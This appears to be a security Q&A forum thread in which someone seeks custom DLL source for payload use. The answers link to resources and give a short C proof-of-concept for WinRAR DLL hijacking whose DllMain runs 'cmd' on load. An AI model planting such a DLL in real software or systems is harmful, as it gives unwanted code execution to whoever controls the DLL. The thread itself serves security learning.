A simple custom DLL source would be sufficient. All of the links I find on Google are dead. I don't mind reading some clear source if there's a tutorial DLL floating about.

I tried for meterpreter and custom-payload tags... sadly no dice.


Here is a slightly outdated but good set of information on making extensions:


  • @Simon will do in the future, but in this one instance the question was looking for a tutorial
    – mubix
    Sep 3 '14 at 14:21
  1. There is a sample DLL, either 'good' one and 'bad' one, including source, binary and full-blown example. http://seclists.org/fulldisclosure/2010/Sep/22

  2. There is a more straight-forward example for WinRAR DLL hijack: \

 #include "stdafx.h"

#include "stdlib.h" int g4h() { WinExec("cmd", SW_SHOW); return 0; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { g4h(); return TRUE; }


  • thx. i wound up having someone on IRC send me a link to one of mubix's articles. it doesn't inject directly into memory...as in it requires upload first, but it's a starting point Nov 20 '11 at 9:58
  • I +1'd the post btw Nov 30 '11 at 14:12

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.